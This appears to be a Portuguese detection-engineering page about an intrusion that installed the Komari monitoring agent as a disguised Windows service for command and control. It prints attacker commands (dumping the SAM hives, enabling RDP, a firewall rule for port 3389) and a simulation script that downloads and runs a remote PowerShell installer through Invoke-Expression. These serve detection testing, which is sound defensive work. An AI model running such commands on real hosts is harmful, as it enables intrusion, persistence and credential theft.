Komari: A Ferramenta de “Monitoramento” Que Não Precisava Ser Armada
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um ator de ameaça usou credenciais de VPN roubadas para acessar uma estação de trabalho Windows de um parceiro da Huntress, então habilitou RDP e implantou o agente de monitoramento de código aberto Komari como um serviço de nível SYSTEM disfarçado como Serviço de Atualização do Windows através do NSSM. Uma vez instalado, o agente estabeleceu uma conexão WebSocket persistente com uma infraestrutura controlada pelo invasor e forneceu capacidades como execução de comandos, acesso ao terminal e ping estilo batimento cardíaco. Na prática, a ferramenta funcionou como uma estrutura leve de comando e controle sem exigir armamento adicional.
Investigação
A intrusão começou com um login de VPN SSL originado de 45.153.34.132, seguido pelo uso do smbexec.py do Impacket para habilitar RDP e executar uma série de comandos remotos. Os investigadores descobriram que um comando PowerShell baixava o instalador do Komari diretamente do GitHub e o registrava como um serviço do Windows. Esse serviço então lançava komari-agent.exe, abria uma sessão WebSocket para o servidor do atacante e permitia a execução remota arbitrária de comandos no host.
Mitigação
A Huntress respondeu isolando a estação de trabalho comprometida, desativando a conta de usuário afetada e parando o serviço Komari criado pelo NSSM. A conexão WebSocket maliciosa foi bloqueada, e o mecanismo de persistência foi removido do sistema. As defesas recomendadas incluem apertar os controles de acesso VPN, monitorar a criação de serviços suspeitos, inspecionar a atividade de saída do WebSocket e reforçar a segurança do RDP.
Resposta
Os defensores devem detectar a criação de um serviço do Windows chamado Serviço de Atualização do Windows que aponta para komari-agent.exe, monitorar conexões WebSocket de longa duração para hosts desconhecidos e alertar sobre o uso de ferramentas Impacket como smbexec.py para movimento lateral. Se identificados, o endpoint afetado deve ser contido imediatamente, credenciais comprometidas revogadas, e o serviço invasor removido do ambiente.
graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef process fill:#e6e6fa %% Nodes – Actions / Techniques action_initial_access[“<b>Ação</b> – <b>T1078 Contas Válidas</b><br/><b>Descrição</b>: Utilizar credenciais de VPN roubadas para estabelecer uma sessão SSLVPN e ganhar acesso inicial.”] class action_initial_access technique action_cred_dump[“<b>Ação</b> – <b>T1552.002 Credenciais Não Seguras</b><br/><b>Descrição</b>: Dump das hives do registro SAM, Sistema e Segurança para obter hashes de senha.”] class action_cred_dump technique action_enable_rdp[“<b>Ação</b> – <b>T1599 Transposição de Fronteira de Rede</b><br/><b>Descrição</b>: Modificar a chave de registro fDenyTSConnections para habilitar o acesso ao Protocolo de Área de Trabalho Remota.”] class action_enable_rdp technique action_firewall_rule[“<b>Ação</b> – <b>T1562.004 Enfraquecimento de Defesas</b><br/><b>Descrição</b>: Criar uma regra de firewall chamada Permitir RDP que abre a porta TCP de entrada 3389.”] class action_firewall_rule technique %% Nodes – Tools / Processes tool_vpn[“<b>Ferramenta</b> – <b>Nome</b>: Cliente VPN<br/><b>Propósito</b>: Conectar-se à rede corporativa via SSLVPN.”] class tool_vpn tool process_regdump[“<b>Processo</b> – <b>Comando</b>: reg save HKLM\SYSTEM\…<br/><b>Descrição</b>: Dump das hives do SAM, Sistema e Segurança.”] class process_regdump process process_reg_modify[“<b>Processo</b> – <b>Comando</b>: reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f<br/><b>Descrição</b>: Habilitar RDP através da modificação do registro.”] class process_reg_modify process process_fw_rule[“<b>Processo</b> – <b>Comando</b>: netsh advfirewall firewall add rule name=”Permitir RDP” dir=in action=allow protocol=TCP localport=3389<br/><b>Descrição</b>: Adicionar regra de firewall para permitir tráfego RDP de entrada.”] class process_fw_rule process %% Connections action_initial_access –>|usa| tool_vpn action_initial_access –>|leva a| action_cred_dump action_cred_dump –>|usa| process_regdump action_cred_dump –>|leva a| action_enable_rdp action_enable_rdp –>|usa| process_reg_modify action_enable_rdp –>|leva a| action_firewall_rule action_firewall_rule –>|usa| process_fw_rule
Fluxo de Ataque
Detecções
Padrões de Linha de Comando do Impacket Possíveis (via cmdline)
Visualizar
Possível Execução Remota de Código usando Impacket (via cmdline)
Visualizar
Execução de Arquivo PowerShell em Diretório Suspeito Usando Política de Execução Bypass (via cmdline)
Visualizar
Download ou Upload via PowerShell (via cmdline)
Visualizar
Possíveis Servidores de Área de Trabalho Remota Sombreamento (via criação de processo)
Visualizar
Modificações Suspeitas de Firewall via CLI (via cmdline)
Visualizar
Processo Suspeito Utiliza um URL na Linha de Comando (via cmdline)
Visualizar
Software Alternativo de Acesso / Gerenciamento Remoto (via criação de processo)
Visualizar
IOCs (HashSha256) para detectar: Komari: A ferramenta de ‘Monitoramento’ que não precisou de armamento
Visualizar
IOCs (SourceIP) para detectar: Komari: A ferramenta de ‘Monitoramento’ que não precisou de armamento
Visualizar
IOCs (DestinationIP) para detectar: Komari: A ferramenta de ‘Monitoramento’ que não precisou de armamento
Visualizar
Detecção da Execução de Impacket smbexec.py e cmd.exe via RDP [Criação de Processo Windows]
Visualizar
Execução PowerShell para Instalação do Agente Komari [PowerShell Windows]
Visualizar
Detectar Persistência do Agente Komari via Serviço de Atualização do Windows [Sistema Windows]
Visualizar
Detecção de Acesso SSLVPN Não Autorizado e Atividade Pós-Comprometimento [Firewall]
Visualizar
Execução da Simulação
Pré-requisito: O Check de Pré-Voo de Telemetria & Baseline deve ter passado.
-
Narrativa do Ataque & Comandos:
Um adversário obteve uma posição em um host Windows e deseja instalar o agente Komari C2 para manter a persistência e posteriormente fazer dump de credenciais (T1003.001). Para evitar a detecção pelas defesas de bloqueio de scripts tradicionais, o invasor executa PowerShell com-ExecutionPolicy Bypasse baixa diretamente o instalador do repositório público do GitHub. A linha de comando corresponde exatamente à regra de detecção, gerando a telemetria esperada. -
Script de Teste de Regressão:
# Simulação de Instalação do Agente Komari $url = "https://raw.githubusercontent.com/komari-monitor/komari-agent/main/install.ps1" $script = (New-Object System.Net.WebClient).DownloadString($url) Invoke-Expression $script -
Comandos de Limpeza:
# Remova quaisquer arquivos criados pelo instalador simulado (se houver) Remove-Item -Path "$Env:ProgramFilesKomari" -Recurse -Force -ErrorAction SilentlyContinue # Pare qualquer processo Komari que possa ter sido iniciado Get-Process -Name "Komari" -ErrorAction SilentlyContinue | Stop-Process -Force